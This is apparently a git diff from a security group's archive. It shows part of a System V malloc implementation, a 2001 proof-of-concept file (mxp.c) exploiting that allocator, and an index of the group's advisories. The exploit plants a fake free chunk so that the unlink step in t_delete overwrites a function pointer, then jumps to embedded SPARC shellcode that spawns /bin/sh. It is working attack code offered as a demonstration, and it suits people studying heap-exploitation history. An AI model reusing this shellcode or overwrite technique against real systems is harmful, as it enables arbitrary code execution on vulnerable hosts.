67static void *_malloc_unlocked(size_t);
68
69#define FREESIZE (1<<5) /* size for preserving free blocks until next malloc */
70#define FREEMASK FREESIZE-1
71
72static void *flist[FREESIZE]; /* list of blocks to be freed on next malloc */
73static int freeidx; /* index of free blocks in flist % FREESIZE */
74
75/*
76 * Allocation of small blocks
77 */
78static TREE *List[MINSIZE/WORDSIZE-1]; /* lists of small blocks */
79
80static void *
81_smalloc(size_t size)
82{
83 TREE *tp;
84 size_t i;
85
86 ASSERT(size % WORDSIZE == 0);
87 /* want to return a unique pointer on malloc(0) */
88 if (size == 0)
89 size = WORDSIZE;
90
91 /* list to use */
92 i = size / WORDSIZE - 1;
93
94 if (List[i] == NULL) {
95 TREE *np;
96 int n;
97 /* number of blocks to get at one time */
98#define NPS (WORDSIZE*8)
99 ASSERT((size + WORDSIZE) * NPS >= MINSIZE);
100
101 /* get NPS of these block types */
102 if ((List[i] = _malloc_unlocked((size + WORDSIZE) * NPS)) == 0)
103 return (0);
104
105 /* make them into a link list */
106 for (n = 0, np = List[i]; n < NPS; ++n) {
107 tp = np;
108 SIZE(tp) = size;
109 np = NEXT(tp);
110 AFTER(tp) = np;
111 }
112 AFTER(tp) = NULL;
113 }
114
115 /* allocate from the head of the queue */
116 tp = List[i];
117 List[i] = AFTER(tp);
118 SETBIT0(SIZE(tp));
119 return (DATA(tp));
120}
121
122void *
123malloc(size_t size)
124{
125 void *ret;
126 (void) _mutex_lock(&__malloc_lock);
127 ret = _malloc_unlocked(size);
128 (void) _mutex_unlock(&__malloc_lock);
129 return (ret);
130}
131
132static void *
133_malloc_unlocked(size_t size)
134{
135 size_t n;
136 TREE *tp, *sp;
137 size_t o_bit1;
138
139 COUNT(nmalloc);
140 ASSERT(WORDSIZE == ALIGN);
141
142 /* make sure that size is 0 mod ALIGN */
143 ROUND(size);
144
145 /* see if the last free block can be used */
146 if (Lfree) {
147 sp = BLOCK(Lfree);
148 n = SIZE(sp);
149 CLRBITS01(n);
150 if (n == size) {
151 /*
152 * exact match, use it as is
153 */
154 freeidx = (freeidx + FREESIZE - 1) &
155 FREEMASK; /* 1 back */
156 flist[freeidx] = Lfree = NULL;
157 return (DATA(sp));
158 } else if (size >= MINSIZE && n > size) {
159 /*
160 * got a big enough piece
161 */
162 freeidx = (freeidx + FREESIZE - 1) &
163 FREEMASK; /* 1 back */
164 flist[freeidx] = Lfree = NULL;
165 o_bit1 = SIZE(sp) & BIT1;
166 SIZE(sp) = n;
167 goto leftover;
168 }
169 }
170 o_bit1 = 0;
171
172 /* perform free's of space since last malloc */
173 cleanfree(NULL);
174
175 /* small blocks */
176 if (size < MINSIZE)
177 return (_smalloc(size));
178
179 /* search for an elt of the right size */
180 sp = NULL;
181 n = 0;
182 if (Root) {
183 tp = Root;
184 while (1) {
185 /* branch left */
186 if (SIZE(tp) >= size) {
187 if (n == 0 || n >= SIZE(tp)) {
188 sp = tp;
189 n = SIZE(tp);
190 }
191 if (LEFT(tp))
192 tp = LEFT(tp);
193 else
194 break;
195 } else { /* branch right */
196 if (RIGHT(tp))
197 tp = RIGHT(tp);
198 else
199 break;
200 }
201 }
202
203 if (sp) {
204 t_delete(sp);
205 } else if (tp != Root) {
206 /* make the searched-to element the root */
207 t_splay(tp);
208 Root = tp;
209 }
210 }
211
212 /* if found none fitted in the tree */
213 if (!sp) {
214 if (Bottom && size <= SIZE(Bottom)) {
215 sp = Bottom;
216 CLRBITS01(SIZE(sp));
217 } else if ((sp = _morecore(size)) == NULL) /* no more memory */
218 return (NULL);
219 }
220
221 /* tell the forward neighbor that we're busy */
222 CLRBIT1(SIZE(NEXT(sp)));
223
224 ASSERT(ISBIT0(SIZE(NEXT(sp))));
225
226leftover:
227 /* if the leftover is enough for a new free piece */
228 if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {
229 n -= WORDSIZE;
230 SIZE(sp) = size;
231 tp = NEXT(sp);
232 SIZE(tp) = n|BIT0;
233 realfree(DATA(tp));
234 } else if (BOTTOM(sp))
235 Bottom = NULL;
236
237 /* return the allocated space */
238 SIZE(sp) |= BIT0 | o_bit1;
239 return (DATA(sp));
240}
241
242
243/*
244 * realloc().
245 *
246 * If the block size is increasing, we try forward merging first.
247 * This is not best-fit but it avoids some data recopying.
248 */
249void *
250realloc(void *old, size_t size)
251{
252 TREE *tp, *np;
253 size_t ts;
254 char *new;
255
256 COUNT(nrealloc);
257
258 /* pointer to the block */
259 (void) _mutex_lock(&__malloc_lock);
260 if (old == NULL) {
261 new = _malloc_unlocked(size);
262 (void) _mutex_unlock(&__malloc_lock);
263 return (new);
264 }
265
266 /* perform free's of space since last malloc */
267 cleanfree(old);
268
269 /* make sure that size is 0 mod ALIGN */
270 ROUND(size);
271
272 tp = BLOCK(old);
273 ts = SIZE(tp);
274
275 /* if the block was freed, data has been destroyed. */
276 if (!ISBIT0(ts)) {
277 (void) _mutex_unlock(&__malloc_lock);
278 return (NULL);
279 }
280
281 /* nothing to do */
282 CLRBITS01(SIZE(tp));
283 if (size == SIZE(tp)) {
284 SIZE(tp) = ts;
285 (void) _mutex_unlock(&__malloc_lock);
286 return (old);
287 }
288
289 /* special cases involving small blocks */
290 if (size < MINSIZE || SIZE(tp) < MINSIZE)
291 goto call_malloc;
292
293 /* block is increasing in size, try merging the next block */
294 if (size > SIZE(tp)) {
295 np = NEXT(tp);
296 if (!ISBIT0(SIZE(np))) {
297 ASSERT(SIZE(np) >= MINSIZE);
298 ASSERT(!ISBIT1(SIZE(np)));
299 SIZE(tp) += SIZE(np) + WORDSIZE;
300 if (np != Bottom)
301 t_delete(np);
302 else
303 Bottom = NULL;
304 CLRBIT1(SIZE(NEXT(np)));
305 }
306
307#ifndef SEGMENTED
308 /* not enough & at TRUE end of memory, try extending core */
309 if (size > SIZE(tp) && BOTTOM(tp) && GETCORE(0) == Baddr) {
310 Bottom = tp;
311 if ((tp = _morecore(size)) == NULL) {
312 tp = Bottom;
313 Bottom = NULL;
314 }
315 }
316#endif
317 }
318
319 /* got enough space to use */
320 if (size <= SIZE(tp)) {
321 size_t n;
322
323chop_big:
324 if ((n = (SIZE(tp) - size)) >= MINSIZE + WORDSIZE) {
325 n -= WORDSIZE;
326 SIZE(tp) = size;
327 np = NEXT(tp);
328 SIZE(np) = n|BIT0;
329 realfree(DATA(np));
330 } else if (BOTTOM(tp))
331 Bottom = NULL;
332
333 /* the previous block may be free */
334 SETOLD01(SIZE(tp), ts);
335 (void) _mutex_unlock(&__malloc_lock);
336 return (old);
337 }
338
339 /* call malloc to get a new block */
340call_malloc:
341 SETOLD01(SIZE(tp), ts);
342 if ((new = _malloc_unlocked(size)) != NULL) {
343 CLRBITS01(ts);
344 if (ts > size)
345 ts = size;
346 MEMCOPY(new, old, ts);
347 _free_unlocked(old);
348 (void) _mutex_unlock(&__malloc_lock);
349 return (new);
350 }
351
352 /*
353 * Attempt special case recovery allocations since malloc() failed:
354 *
355 * 1. size <= SIZE(tp) < MINSIZE
356 * Simply return the existing block
357 * 2. SIZE(tp) < size < MINSIZE
358 * malloc() may have failed to allocate the chunk of
359 * small blocks. Try asking for MINSIZE bytes.
360 * 3. size < MINSIZE <= SIZE(tp)
361 * malloc() may have failed as with 2. Change to
362 * MINSIZE allocation which is taken from the beginning
363 * of the current block.
364 * 4. MINSIZE <= SIZE(tp) < size
365 * If the previous block is free and the combination of
366 * these two blocks has at least size bytes, then merge
367 * the two blocks copying the existing contents backwards.
368 */
369 CLRBITS01(SIZE(tp));
370 if (SIZE(tp) < MINSIZE) {
371 if (size < SIZE(tp)) { /* case 1. */
372 SETOLD01(SIZE(tp), ts);
373 (void) _mutex_unlock(&__malloc_lock);
374 return (old);
375 } else if (size < MINSIZE) { /* case 2. */
376 size = MINSIZE;
377 goto call_malloc;
378 }
379 } else if (size < MINSIZE) { /* case 3. */
380 size = MINSIZE;
381 goto chop_big;
382 } else if (ISBIT1(ts) &&
383 (SIZE(np = LAST(tp)) + SIZE(tp) + WORDSIZE) >= size) {
384 ASSERT(!ISBIT0(SIZE(np)));
385 t_delete(np);
386 SIZE(np) += SIZE(tp) + WORDSIZE;
387 /*
388 * Since the copy may overlap, use memmove() if available.
389 * Otherwise, copy by hand.
390 */
391 (void) memmove(DATA(np), old, SIZE(tp));
392 old = DATA(np);
393 tp = np;
394 CLRBIT1(ts);
395 goto chop_big;
396 }
397 SETOLD01(SIZE(tp), ts);
398 (void) _mutex_unlock(&__malloc_lock);
399 return (NULL);
400}
401
402
403/*
404 * realfree().
405 *
406 * Coalescing of adjacent free blocks is done first.
407 * Then, the new free block is leaf-inserted into the free tree
408 * without splaying. This strategy does not guarantee the amortized
409 * O(nlogn) behaviour for the insert/delete/find set of operations
410 * on the tree. In practice, however, free is much more infrequent
411 * than malloc/realloc and the tree searches performed by these
412 * functions adequately keep the tree in balance.
413 */
414static void
415realfree(void *old)
416{
417 TREE *tp, *sp, *np;
418 size_t ts, size;
419
420 COUNT(nfree);
421
422 /* pointer to the block */
423 tp = BLOCK(old);
424 ts = SIZE(tp);
425 if (!ISBIT0(ts))
426 return;
427 CLRBITS01(SIZE(tp));
428
429 /* small block, put it in the right linked list */
430 if (SIZE(tp) < MINSIZE) {
431 ASSERT(SIZE(tp) / WORDSIZE >= 1);
432 ts = SIZE(tp) / WORDSIZE - 1;
433 AFTER(tp) = List[ts];
434 List[ts] = tp;
435 return;
436 }
437
438 /* see if coalescing with next block is warranted */
439 np = NEXT(tp);
440 if (!ISBIT0(SIZE(np))) {
441 if (np != Bottom)
442 t_delete(np);
443 SIZE(tp) += SIZE(np) + WORDSIZE;
444 }
445
446 /* the same with the preceding block */
447 if (ISBIT1(ts)) {
448 np = LAST(tp);
449 ASSERT(!ISBIT0(SIZE(np)));
450 ASSERT(np != Bottom);
451 t_delete(np);
452 SIZE(np) += SIZE(tp) + WORDSIZE;
453 tp = np;
454 }
455
456 /* initialize tree info */
457 PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL;
458
459 /* the last word of the block contains self's address */
460 *(SELFP(tp)) = tp;
461
462 /* set bottom block, or insert in the free tree */
463 if (BOTTOM(tp))
464 Bottom = tp;
465 else {
466 /* search for the place to insert */
467 if (Root) {
468 size = SIZE(tp);
469 np = Root;
470 while (1) {
471 if (SIZE(np) > size) {
472 if (LEFT(np))
473 np = LEFT(np);
474 else {
475 LEFT(np) = tp;
476 PARENT(tp) = np;
477 break;
478 }
479 } else if (SIZE(np) < size) {
480 if (RIGHT(np))
481 np = RIGHT(np);
482 else {
483 RIGHT(np) = tp;
484 PARENT(tp) = np;
485 break;
486 }
487 } else {
488 if ((sp = PARENT(np)) != NULL) {
489 if (np == LEFT(sp))
490 LEFT(sp) = tp;
491 else
492 RIGHT(sp) = tp;
493 PARENT(tp) = sp;
494 } else
495 Root = tp;
496
497 /* insert to head of list */
498 if ((sp = LEFT(np)) != NULL)
499 PARENT(sp) = tp;
500 LEFT(tp) = sp;
501
502 if ((sp = RIGHT(np)) != NULL)
503 PARENT(sp) = tp;
504 RIGHT(tp) = sp;
505
506 /* doubly link list */
507 LINKFOR(tp) = np;
508 LINKBAK(np) = tp;
509 SETNOTREE(np);
510
511 break;
512 }
513 }
514 } else
515 Root = tp;
516 }
517
518 /* tell next block that this one is free */
519 SETBIT1(SIZE(NEXT(tp)));
520
521 ASSERT(ISBIT0(SIZE(NEXT(tp))));
522}
523
524/*
525 * Get more core. Gaps in memory are noted as busy blocks.
526 */
527static TREE *
528_morecore(size_t size)
529{
530 TREE *tp;
531 size_t n, offset;
532 char *addr;
533 size_t nsize;
534
535 /* compute new amount of memory to get */
536 tp = Bottom;
537 n = size + 2 * WORDSIZE;
538 addr = GETCORE(0);
539
540 if (addr == ERRCORE)
541 return (NULL);
542
543 /* need to pad size out so that addr is aligned */
544 if ((((size_t)addr) % ALIGN) != 0)
545 offset = ALIGN - (size_t)addr % ALIGN;
546 else
547 offset = 0;
548
549#ifndef SEGMENTED
550 /* if not segmented memory, what we need may be smaller */
551 if (addr == Baddr) {
552 n -= WORDSIZE;
553 if (tp != NULL)
554 n -= SIZE(tp);
555 }
556#endif
557
558 /* get a multiple of CORESIZE */
559 n = ((n - 1) / CORESIZE + 1) * CORESIZE;
560 nsize = n + offset;
561
562 if (nsize == ULONG_MAX)
563 return (NULL);
564
565 if (nsize <= LONG_MAX) {
566 if (GETCORE(nsize) == ERRCORE)
567 return (NULL);
568 } else {
569 intptr_t delta;
570 /*
571 * the value required is too big for GETCORE() to deal with
572 * in one go, so use GETCORE() at most 2 times instead.
573 */
574 delta = LONG_MAX;
575 while (delta > 0) {
576 if (GETCORE(delta) == ERRCORE) {
577 if (addr != GETCORE(0))
578 (void) GETCORE(-LONG_MAX);
579 return (NULL);
580 }
581 nsize -= LONG_MAX;
582 delta = nsize;
583 }
584 }
585
586 /* contiguous memory */
587 if (addr == Baddr) {
588 ASSERT(offset == 0);
589 if (tp) {
590 addr = (char *)tp;
591 n += SIZE(tp) + 2 * WORDSIZE;
592 } else {
593 addr = Baddr - WORDSIZE;
594 n += WORDSIZE;
595 }
596 } else
597 addr += offset;
598
599 /* new bottom address */
600 Baddr = addr + n;
601
602 /* new bottom block */
603 tp = (TREE *)addr;
604 SIZE(tp) = n - 2 * WORDSIZE;
605 ASSERT((SIZE(tp) % ALIGN) == 0);
606
607 /* reserved the last word to head any noncontiguous memory */
608 SETBIT0(SIZE(NEXT(tp)));
609
610 /* non-contiguous memory, free old bottom block */
611 if (Bottom && Bottom != tp) {
612 SETBIT0(SIZE(Bottom));
613 realfree(DATA(Bottom));
614 }
615
616 return (tp);
617}
618
619
620/*
621 * Tree rotation functions (BU: bottom-up, TD: top-down)
622 */
623
624#define LEFT1(x, y) \
625 if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\
626 if ((PARENT(y) = PARENT(x)) != NULL)\
627 if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\
628 else RIGHT(PARENT(y)) = y;\
629 LEFT(y) = x; PARENT(x) = y
630
631#define RIGHT1(x, y) \
632 if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\
633 if ((PARENT(y) = PARENT(x)) != NULL)\
634 if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\
635 else RIGHT(PARENT(y)) = y;\
636 RIGHT(y) = x; PARENT(x) = y
637
638#define BULEFT2(x, y, z) \
639 if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\
640 if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\
641 if ((PARENT(z) = PARENT(x)) != NULL)\
642 if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
643 else RIGHT(PARENT(z)) = z;\
644 LEFT(z) = y; PARENT(y) = z; LEFT(y) = x; PARENT(x) = y
645
646#define BURIGHT2(x, y, z) \
647 if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\
648 if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\
649 if ((PARENT(z) = PARENT(x)) != NULL)\
650 if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
651 else RIGHT(PARENT(z)) = z;\
652 RIGHT(z) = y; PARENT(y) = z; RIGHT(y) = x; PARENT(x) = y
653
654#define TDLEFT2(x, y, z) \
655 if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\
656 if ((PARENT(z) = PARENT(x)) != NULL)\
657 if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
658 else RIGHT(PARENT(z)) = z;\
659 PARENT(x) = z; LEFT(z) = x;
660
661#define TDRIGHT2(x, y, z) \
662 if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\
663 if ((PARENT(z) = PARENT(x)) != NULL)\
664 if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
665 else RIGHT(PARENT(z)) = z;\
666 PARENT(x) = z; RIGHT(z) = x;
667
668/*
669 * Delete a tree element
670 */
671static void
672t_delete(TREE *op)
673{
674 TREE *tp, *sp, *gp;
675
676 /* if this is a non-tree node */
677 if (ISNOTREE(op)) {
678 tp = LINKBAK(op);
679 if ((sp = LINKFOR(op)) != NULL)
680 LINKBAK(sp) = tp;
681 LINKFOR(tp) = sp;
682 return;
683 }
684
685 /* make op the root of the tree */
686 if (PARENT(op))
687 t_splay(op);
688
689 /* if this is the start of a list */
690 if ((tp = LINKFOR(op)) != NULL) {
691 PARENT(tp) = NULL;
692 if ((sp = LEFT(op)) != NULL)
693 PARENT(sp) = tp;
694 LEFT(tp) = sp;
695
696 if ((sp = RIGHT(op)) != NULL)
697 PARENT(sp) = tp;
698 RIGHT(tp) = sp;
699
700 Root = tp;
701 return;
702 }
703
704 /* if op has a non-null left subtree */
705 if ((tp = LEFT(op)) != NULL) {
706 PARENT(tp) = NULL;
707
708 if (RIGHT(op)) {
709 /* make the right-end of the left subtree its root */
710 while ((sp = RIGHT(tp)) != NULL) {
711 if ((gp = RIGHT(sp)) != NULL) {
712 TDLEFT2(tp, sp, gp);
713 tp = gp;
714 } else {
715 LEFT1(tp, sp);
716 tp = sp;
717 }
718 }
719
720 /* hook the right subtree of op to the above elt */
721 RIGHT(tp) = RIGHT(op);
722 PARENT(RIGHT(tp)) = tp;
723 }
724 } else if ((tp = RIGHT(op)) != NULL) /* no left subtree */
725 PARENT(tp) = NULL;
726
727 Root = tp;
728}
729
730/*
731 * Bottom up splaying (simple version).
732 * The basic idea is to roughly cut in half the
733 * path from Root to tp and make tp the new root.
734 */
735static void
736t_splay(TREE *tp)
737{
738 TREE *pp, *gp;
739
740 /* iterate until tp is the root */
741 while ((pp = PARENT(tp)) != NULL) {
742 /* grandparent of tp */
743 gp = PARENT(pp);
744
745 /* x is a left child */
746 if (LEFT(pp) == tp) {
747 if (gp && LEFT(gp) == pp) {
748 BURIGHT2(gp, pp, tp);
749 } else {
750 RIGHT1(pp, tp);
751 }
752 } else {
753 ASSERT(RIGHT(pp) == tp);
754 if (gp && RIGHT(gp) == pp) {
755 BULEFT2(gp, pp, tp);
756 } else {
757 LEFT1(pp, tp);
758 }
759 }
760 }
761}
762
763
764/*
765 * free().
766 * Performs a delayed free of the block pointed to
767 * by old. The pointer to old is saved on a list, flist,
768 * until the next malloc or realloc. At that time, all the
769 * blocks pointed to in flist are actually freed via
770 * realfree(). This allows the contents of free blocks to
771 * remain undisturbed until the next malloc or realloc.
772 */
773void
774free(void *old)
775{
776 (void) _mutex_lock(&__malloc_lock);
777 _free_unlocked(old);
778 (void) _mutex_unlock(&__malloc_lock);
779}
780
781
782void
783_free_unlocked(void *old)
784{
785 int i;
786
787 if (old == NULL)
788 return;
789
790 /*
791 * Make sure the same data block is not freed twice.
792 * 3 cases are checked. It returns immediately if either
793 * one of the conditions is true.
794 * 1. Last freed.
795 * 2. Not in use or freed already.
796 * 3. In the free list.
797 */
798 if (old == Lfree)
799 return;
800 if (!ISBIT0(SIZE(BLOCK(old))))
801 return;
802 for (i = 0; i < freeidx; i++)
803 if (old == flist[i])
804 return;
805
806 if (flist[freeidx] != NULL)
807 realfree(flist[freeidx]);
808 flist[freeidx] = Lfree = old;
809 freeidx = (freeidx + 1) & FREEMASK; /* one forward */
810}
811
812/*
813 * cleanfree() frees all the blocks pointed to be flist.
814 *
815 * realloc() should work if it is called with a pointer
816 * to a block that was freed since the last call to malloc() or
817 * realloc(). If cleanfree() is called from realloc(), ptr
818 * is set to the old block and that block should not be
819 * freed since it is actually being reallocated.
820 */
821static void
822cleanfree(void *ptr)
823{
824 char **flp;
825
826 flp = (char **)&(flist[freeidx]);
827 for (;;) {
828 if (flp == (char **)&(flist[0]))
829 flp = (char **)&(flist[FREESIZE]);
830 if (*--flp == NULL)
831 break;
832 if (*flp != ptr)
833 realfree(*flp);
834 *flp = NULL;
835 }
836 freeidx = 0;
837 Lfree = NULL;
838}
diff --git a/informationals/teso-i0037/mxp.c b/informationals/teso-i0037/mxp.c
new file mode 100644
index 0000000..76b5f3a
--- /dev/null
+++ b/informationals/teso-i0037/mxp.c
@@ -0,0 +1,195 @@
1/* System V malloc implementation exploitation in buffer overflows
2 *
3 * 2001/05/06
4 * -sc/teso
5 *
6 * tested on sol 2.7/2.8
7 * shellcode seems to segfault sometime, but anyway, the malloc overwrite
8 * works yay!
9 */
10
11#include <stdio.h>
12#include <stdlib.h>
13#include "mallint.h"
14
15
16typedef void (* func_ptr)(void);
17
18void
19hexdump (unsigned char *data, unsigned int amount);
20
21
22int
23main (int argc, char *argv[])
24{
25 TREE * fake;
26 TREE * memchunk;
27 unsigned char * mem;
28 func_ptr func_hook = NULL;
29
30 void * retloc;
31 void * retaddr;
32 unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes */
33 "\x10\x80\x00\x03" /* b foolabel */
34 "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
35/* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */
36
37/* foolabel: */ "\x82\x10\x20\x17" /* mov 23, %g1 */
38 "\x91\xd0\x20\x08" /* ta 0x8 */
39 "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
40 "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
41 "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */
42 "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */
43 "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */
44 "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
45 "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */
46 "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */
47 "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */
48 "\x82\x10\x20\x3b" /* mov 59, %g1 */
49 "\x91\xd0\x20\x08" /* ta 0x8 */
50 "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
51 "\x82\x10\x20\x01" /* mov 1, %g1 */
52 "\x91\xd0\x20\x08"; /* ta 0x8 */
53
54
55 printf ("shellcode: %02x %02x %02x %02x %02x %02x %02x %02x\n",
56 shellcode[0], shellcode[1], shellcode[2], shellcode[3],
57 shellcode[4], shellcode[5], shellcode[6], shellcode[7]);
58 printf (" %02x %02x %02x %02x %02x %02x %02x %02x\n",
59 shellcode[8], shellcode[9], shellcode[10], shellcode[11],
60 shellcode[12], shellcode[13], shellcode[14], shellcode[15]);
61
62 retloc = &func_hook;
63 retaddr = shellcode;
64
65
66 /* get memory chunk which will be overflowed
67 */
68 mem = malloc (64);
69 memchunk = BLOCK(mem);
70 printf (" mem = 0x%08lx\n", (unsigned long int) mem);
71 printf ("memchunk = 0x%08lx\n", (unsigned long int) memchunk);
72
73 /* the overflowed chunk must not be the last, the special 'Bottom'
74 * chunk. in that case it would not be merged with the fake chunk
75 * behind, because realfree would think it is the last chunk anyway.
76 * so we ensure there is a malloc chunk behind the overflowed one
77 */
78 (void) malloc(2903);
79
80 /* our basic idea is to create a fake non-tree node after the real
81 * chunk, which will later be coalescated with the real chunk. while
82 * this is done, the fake chunk is removed from a chained tree, which
83 * we set up to overwrite arbitrary addresses
84 *
85 * take care of NUL'ing out the lower two bits if using the macros
86 */
87
88#define RNEXT(b) ((TREE *)(((char *)(b)) + (SIZE(b) & ~BITS01) + WORDSIZE))
89 fake = RNEXT(BLOCK(mem));
90 printf (" fake = 0x%08lx\n", (unsigned long int) fake);
91
92 /* conditions to be met:
93 * 1. BIT0(fake) = 0 (it is unused)
94 * 2. ->t_l == -1 (NOTREE)
95 */
96 memset (fake, 'A', sizeof (TREE));
97 SIZE(fake) = 0xfffffff0;
98 CLRBIT0(SIZE(fake));
99 SETNOTREE(fake);
100
101 /* t1 = fake->t_p
102 * t2 = fake->t_n
103 * t2->t_p = t1
104 * t1->t_n = t2
105 * (in t_delete)
106 *
107 * effectivly:
108 * fake->t_n->t_p = fake->t_p
109 * fake->t_p->t_n = fake->t_n
110 * raw:
111 * [t_n + (1 * sizeof (WORD))] = t_p
112 * [t_p + (4 * sizeof (WORD))] = t_n
113 *
114 * so: t_p = retloc - 4 * sizeof (WORD)
115 * t_n = retaddr
116 *
117 * and retaddr[8-11] will be overwritten with t_p
118 */
119 PARENT(fake) = retloc - 4 * sizeof (WORD);
120 LINKFOR(fake) = retaddr;
121
122 /* we call free, but our chunk is just added to a "to-be-freed"
123 * list. the real free process is done by the realfree function,
124 * which is called on two conditions:
125 * 1. a malloc() is called
126 * 2. more than FREESIZE free() calls (the list would overflow)
127 */
128 printf ("overflowed with:\n");
129 hexdump ((unsigned char *) fake, sizeof (TREE));
130
131 printf ("freeing chunk1 (mem) = 0x%08lx\n",
132 (unsigned long int) mem);
133 free (mem);
134
135 printf ("reallocating a larger chunk (causes realfree)\n");
136 mem = malloc (256);
137
138 printf ("survived, hopefully succeeded\n");
139
140 printf ("shellcode: %02x %02x %02x %02x %02x %02x %02x %02x\n",
141 shellcode[0], shellcode[1], shellcode[2], shellcode[3],
142 shellcode[4], shellcode[5], shellcode[6], shellcode[7]);
143 printf (" %02x %02x %02x %02x %02x %02x %02x %02x\n",
144 shellcode[8], shellcode[9], shellcode[10], shellcode[11],
145 shellcode[12], shellcode[13], shellcode[14], shellcode[15]);
146
147 printf ("func_hook = 0x%08lx\n", (unsigned long int) func_hook);
148 if (func_hook != NULL)
149 func_hook ();
150
151 return (0);
152}
153
154
155void
156hexdump (unsigned char *data, unsigned int amount)
157{
158 unsigned int dp, p; /* data pointer */
159 const char trans[] =
160 "................................ !\"#$%&'()*+,-./0123456789"
161 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
162 "nopqrstuvwxyz{|}~...................................."
163 "....................................................."
164 "........................................";
165
166 for (dp = 1; dp <= amount; dp++) {
167 fprintf (stdout, "%02x ", data[dp-1]);
168 if ((dp % 8) == 0)
169 fprintf (stdout, " ");
170 if ((dp % 16) == 0) {
171 fprintf (stdout, "| ");
172 p = dp;
173 for (dp -= 16; dp < p; dp++)
174 fprintf (stdout, "%c", trans[data[dp]]);
175 fflush (stdout);
176 fprintf (stdout, "\n");
177 }
178 fflush (stdout);
179 }
180 if ((amount % 16) != 0) {
181 p = dp = 16 - (amount % 16);
182 for (dp = p; dp > 0; dp--) {
183 fprintf (stdout, " ");
184 if (((dp % 8) == 0) && (p != 8))
185 fprintf (stdout, " ");
186 fflush (stdout);
187 }
188 fprintf (stdout, " | ");
189 for (dp = (amount - (16 - p)); dp < amount; dp++)
190 fprintf (stdout, "%c", trans[data[dp]]);
191 fflush (stdout);
192 }
193 fprintf (stdout, "\n");
194}
195
diff --git a/informationals/teso-informationals.txt b/informationals/teso-informationals.txt
new file mode 100644
index 0000000..696a017
--- /dev/null
+++ b/informationals/teso-informationals.txt
@@ -0,0 +1,48 @@
1
2TESO Informationals
3Index file
4
5Last update 2001/05/06
6
7===============================================================================
80001 2000/01/20 Difference in Linux 2.x ARP Request handling
90002 2000/01/21 TCP stealth scan "Scan 64"
100003 2000/01/22 Remotely exploitable buffer overflow condition in webfind.exe
11 part of the WebsitePro Package (cgi-bin)
120004 2000/01/22 Conceptual bug in webvoting systems with proxy protection
130005 2000/01/22 Ascend ISDN Router DoS vulnerability (old UDP echo problem)
140006 2000/01/23 Nameserver traffic amplify (x 10-30) and NS route discovery
150007 2000/01/23 Conceptual bug in PHP and also in CGI modules
160008 2000/01/24 Check for IP spoofing abilities for a local IP address
170009 2000/01/26 HTTP proxy forwarding
180010 2000/01/30 Trick for exploiting BIND nameservers
190011 2000/02/01 Linux keyboard handler tricks
200012 2000/02/08 Method to stretch DNS packet length
210013 2000/02/17 Linux blind TCP spoofing methods overview
220014 2000/02/18 Linux remote DoS overview
230015 2000/02/19 Possible security weakness in implementation of PHP3 scripts
240016 2000/02/23 Trick to hide UDP ports, trick to discover this
250017 2000/02/25 Information on how to exploit Lancity cablemodems
260018 2000/03/11 Exploiting FTP URL parsing within web browsers
270019 2000/03/21 Majordomo include inconveniences
280020 2000/03/29 Writing MIPS/Irix shellcode
290021 2000/04/15 pidentd VERSION Linux distribution fingerprinting
300022 2000/03/19 TESO AUDIT summary: netkit-combo-0.16
310023 2000/04/16 Information on BinTec Router DoS
320024 2000/05/06 chroot break possibilities overview
330025 2000/05/20 some spicy tricks for buffer overflow exploitation
340026 2000/05/30 file existance check through suid binaries
350027 2000/06/29 format string supply vulnerabilities and exploitation
360028 2000/09/17 new format string problems (ntalkd, radiusd, innd, samba)
370029 2000/10/05 format string: poping the stack faster than with %f
380030 2000/10/14 exploitable format string problem in cfingerd <= 1.4.2
390031 2000/12/20 exploitable one-byte overflow in openftpd 1.0 beta28
400032 2001/02/03 explanations of malloc() overwrite technique
410033 2001/02/25 (not-so) advanced way to find KERNEL32.DLL base address
420034 2001/02/25 advanced way to more reliably exploit NT format bugs remotely
430035 2001/03/13 safely getting control in fmt bugs if KERNEL32 is known
440036 2001/04/16 bugs in BIND 8.2.3-REL, ProFTPd, ...
450037 2001/05/06 System V malloc implementation details for exploitation
46===============================================================================
47
48